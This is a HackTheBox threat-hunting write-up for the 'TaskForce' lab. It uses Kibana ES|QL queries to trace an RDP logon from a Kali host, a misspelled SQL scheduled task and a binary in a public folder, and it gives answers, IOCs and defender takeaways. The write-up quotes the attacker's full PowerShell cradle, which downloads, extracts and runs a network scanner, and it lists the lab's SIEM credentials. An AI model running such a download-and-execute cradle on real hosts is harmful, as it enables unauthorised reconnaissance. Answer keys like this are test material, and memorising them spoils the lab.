// HackTheBox  ·  writeup

TaskForce

HackTheBox Easy KibanaES|QLSysmonPowerShell Operational log
Threat Hunting

Scenario

Your organization, Alliance, recently set up a SIEM in the environment for better visibility and coverage. However, due to a lack of administrative staff and poor security hygiene, the environment is in disarray. The logging configuration is broken in some areas, logs are being overwritten, and new log sources are being added to the SIEM only gradually, creating a significant visibility gap.

Spawn the VM and wait around 1-2 minutes for the ELK services to start. Then either by connecting to the HTB VPN or using pwnbox, access the SIEM using http://ip:5601

The credentials for SIEM are elastic:hacktheblue

You have been given a threat hunt hypothesis as your first task.

Hypothesis: A threat actor has established persistence on one or more hosts within the environment by creating or modifying a scheduled task with a name designed to blend in with legitimate Windows tasks. Given the degraded logging posture, the task may have gone undetected and could be actively executing a malicious payload.

Executive Summary

An operator on a Kali machine opened an RDP session to a domain workstation using a standard user’s account, then used it as a base for hands-on activity. From that workstation they downloaded a portable network scanner over PowerShell, unpacked it and ran it for initial reconnaissance. Persistence was a scheduled task whose name copies a legitimate-looking SQL check with a single dropped letter; the task creation itself was never logged, so it only surfaced as a launch failure on the central server. A binary sitting in a public user folder and run under the machine account on that server tied the task to its payload. Overwritten logon events hid the original RDP logon, so the entry point had to be rebuilt from Sysmon registry writes.

Artifacts

Timestamp note: ES stores UTC. Comparing @timestamp to a plain string returned nothing in ES|QL, so wrap literals in TO_DATETIME().

Visibility note: Security 4624 logons stop after 2026-06-02 and no 4698 task-creation events exist. Plan for Sysmon, PowerShell and TaskScheduler logs instead.

Persistence

Q1 — Starting from the given hypothesis, begin your threat hunt. What is the name of the task that seems out of place and appears benign or suspicious based on its naming convention?

Task creation was not audited, so hunt for task names in the Microsoft-Windows-TaskScheduler/Operational channel across all hosts and strip the \Microsoft\Windows\ paths. A correctly spelled SQL connectivity check task shows up on alliance-ws04 and alliance-ws07 on 2026-06-05, created through PowerShell. A near-identical name with one letter missing appears only on alliance-central, in event 332 where Task Scheduler failed to launch it. The 19-character format hint fits the misspelled variant.

FROM logs-* | WHERE message LIKE "*SQLConnectvityCheck*" | KEEP @timestamp, host.name, event.code, message | SORT @timestamp | LIMIT 10

Gotcha: The properly spelled task is the one that looks legitimate and shows creation activity, but the answer is the typo variant that only appears in an error event. Count the characters against the format hint.

Click flag to reveal SQLConnectvityCheck
Q2 — Due to poor configuration and inadequate log retention, the log sources may not contain direct evidence linking the scheduled task to its payload. Using process execution sources, identify an executable that appears out of place yet benign-looking, with a suspicious file path or naming convention suggestive of a connection to the identified scheduled task.

From Q1 the task fired on alliance-central, so list its 4688 process creations and drop everything under C:\Windows, C:\Program Files and C:\ProgramData\Microsoft. A backup-style SQL executable runs out of a public user’s Pictures folder, nowhere near the SQL Server install directories, at 2026-06-09 22:37:53 UTC. The process runs as the machine account ALLIANCE-CENTRA$, which is how a scheduled task running as SYSTEM would appear. The link to the task is circumstantial (matching SQL theme, same host), not a logged parent-child relationship.

FROM logs-system.security-* | WHERE host.name=="alliance-central" AND event.code=="4688" AND NOT process.executable LIKE "C:\\Windows\\*" AND NOT process.executable LIKE "C:\\Program Files*" AND NOT process.executable LIKE "C:\\ProgramData\\Microsoft*" | KEEP @timestamp, process.executable, user.name | SORT @timestamp | LIMIT 100
Click to reveal answer C:\Users\Public\Pictures\SQLBackup.exe

Initial Access

Q3 — Now extending the hunt hypothesis to get to the root of the attack, trace back the source. You may have to rely on unconventional log sources and events due to missing log retention and misconfigured auditing in the network. When was the first malicious login observed in the environment?

Security 4624 has nothing after 2026-06-02, so chasing source IPs there goes nowhere. The attack week (06-09) is covered by Sysmon instead. An RDP session writes the client machine name to HKU\<SID>\Volatile Environment\<n>\CLIENTNAME when the session starts, and Sysmon event 13 records that write. Search for CLIENTNAME across Sysmon and take the first write for the attack session on alliance-ws07: 12:41:09 UTC on 2026-06-09. Winlogon event 7001 fires slightly earlier on the same host and is the logon itself, but the registry write is the value used here.

FROM logs-windows.sysmon_operational-* | WHERE message LIKE "*CLIENTNAME*" | KEEP @timestamp, host.name, registry.path, registry.data.strings | SORT @timestamp | LIMIT 200

Gotcha: The Winlogon 7001 at 12:40:57 UTC on alliance-ws07 is a few seconds before the accepted time. The registry write is the one the platform accepted.

Click flag to reveal 2026-06-09 12:41:09
Q4 — What is the hostname from which the login originated?

The same CLIENTNAME value written in Q3 holds the name of the machine the RDP client ran on. It reads as a Kali default hostname, which is a clear outlier among the Alliance workstations.

FROM logs-windows.sysmon_operational-* | WHERE message LIKE "*CLIENTNAME*" | KEEP @timestamp, host.name, registry.path, registry.data.strings | SORT @timestamp | LIMIT 200
Click to reveal answer kali
Q6 — Which user account appears to be the source of compromise?

The CLIENTNAME key from Q3 sits under a user SID ending in -1107. Sysmon logged other values from the same Volatile Environment key, including USERNAME and USERDOMAIN, so query that SID’s keys to map it to an account. USERNAME is John.shepard and USERDOMAIN is ALLIANCE. The answer needs the domain\username format.

FROM logs-windows.sysmon_operational-* | WHERE registry.path LIKE "*-1107\\Volatile Environment\\USER*" | KEEP @timestamp, host.name, registry.path, registry.data.strings | SORT @timestamp | LIMIT 10
Click to reveal answer ALLIANCE\john.shepard

Discovery

Q5 — While tracing the lateral movement and initial access path, it is necessary to cover any other activity performed by malicious entities within the attack timeline on other systems in the network. What is the full command used to download and execute the tool used by the threat actor for initial reconnaissance?

Script block logging on alliance-ws07 captured the full cradle as event 4104 at 2026-06-09 12:55:13 UTC, 14 minutes after the RDP session began, run by john.shepard. Filter the PowerShell Operational log for Invoke-WebRequest together with Expand-Archive: the script downloads a zip of SoftPerfect’s portable netscan, extracts it to a folder and launches the scanner from there. Variables and paths in the cradle follow the shape of the format hint.

FROM logs-windows.powershell_operational-*, logs-windows.powershell-*, logs-system.security-*, logs-windows.sysmon_operational-* | WHERE message LIKE "*Expand-Archive*" AND message LIKE "*Invoke-WebRequest*" AND event.code IN ("4104","4688","1") | KEEP @timestamp, host.name, event.code, message | SORT @timestamp | LIMIT 6
Click flag to reveal $url = "https://www.softperfect.com/download/files/netscan_portable.zip"; $out = "C:\Users\Public\netscan_portable.zip"; Invoke-WebRequest -Uri $url -OutFile $out; Expand-Archive $out -DestinationPath "C:\Users\Public\SoftPerfect"; & "C:\Users\Public\SoftPerfect\x86_64\netscan.exe"

Attack Summary

PhaseAction
PersistenceScheduled task with a name that mimics a legitimate SQL check; legitimately spelled variant created through PowerShell on two workstations on 2026-06-05
Initial AccessRDP session from a host named kali to alliance-ws07 as john.shepard
DiscoveryPowerShell cradle downloads, unpacks and runs a portable network scanner
PersistenceTypo-squatted task fails to launch on alliance-central (logged as event 332)
ExecutionSQLBackup.exe runs from C:\Users\Public\Pictures on alliance-central under the machine account

Forensic Timeline

Timestamp (UTC)Event
2026-06-05SQL connectivity check task created via PowerShell on alliance-ws04 and alliance-ws07
2026-06-09 12:40:57Winlogon 7001 on alliance-ws07 for the RDP session
2026-06-09 12:41:09Sysmon 13: CLIENTNAME set to kali in the user’s Volatile Environment
2026-06-09 12:55:13PowerShell 4104 on alliance-ws07: scanner download and execution cradle
2026-06-09 22:37:53SQLBackup.exe process creation (4688) on alliance-central

IOCs

TypeValue
Scheduled task\SQLConnectvityCheck
FileC:\Users\Public\Pictures\SQLBackup.exe
RDP client namekali
AccountALLIANCE\john.shepard
ToolSoftPerfect netscan_portable.zip

MITRE ATT&CK

TechniqueIDDescription
Scheduled Task/Job: Scheduled TaskT1053.005Persistence through a scheduled task
Masquerading: Masquerade Task or ServiceT1036.004Task name copies a legitimate SQL check minus one letter
MasqueradingT1036Payload named like a SQL backup, placed in a public user folder
Remote Services: Remote Desktop ProtocolT1021.001RDP session from a host named kali
Valid Accounts: Domain AccountsT1078.002RDP logon as john.shepard
Command and Scripting Interpreter: PowerShellT1059.001PowerShell cradle for the scanner
Ingress Tool TransferT1105Scanner zip downloaded to the workstation
Network Service DiscoveryT1046Portable network scanner used for initial recon

Defender Takeaways

Audit scheduled task creation, and keep the log long enough to matter. There were no 4698 events at all, so the task was only visible as a failure in the TaskScheduler channel and as a registry path in Sysmon. Enable Other Object Access Events auditing and forward Microsoft-Windows-TaskScheduler/Operational (events 106, 140, 141 and 332).

Alert on near-miss names of real tasks. Task and service names one edit away from a known-good name are cheap to detect by edit distance against an allowlist. A task that exists on two hosts under one spelling and fails on a third under another spelling should have drawn a ticket.

Sysmon registry events rebuild lost logons. With 4624 overwritten, CLIENTNAME writes under Volatile Environment still gave the client hostname and the account SID of the RDP session. Collect Sysmon event 13 for that key, and size Security log retention so logon events survive a week.

Flag executables running from Users\Public under machine accounts. A SQL-themed binary in a Pictures folder, launched as ALLIANCE-CENTRA$, stands out immediately against the Program Files paths of real SQL Server. A path-based rule on 4688 or Sysmon 1 would have caught it.

Script block logging paid off. The 4104 event preserved the full download-and-run cradle for the scanner, which is exactly the content missing everywhere else. Keep it on for every host, not just workstations.

Conclusion

The attacker got into the domain through one RDP session from a Kali machine, ran a scanner from PowerShell, and left a lookalike scheduled task and an oddly placed binary on the central server. What made this hunt hard was not the technique but the logging: the key evidence lived in registry writes and error events, not in the logs that would normally have answered the question.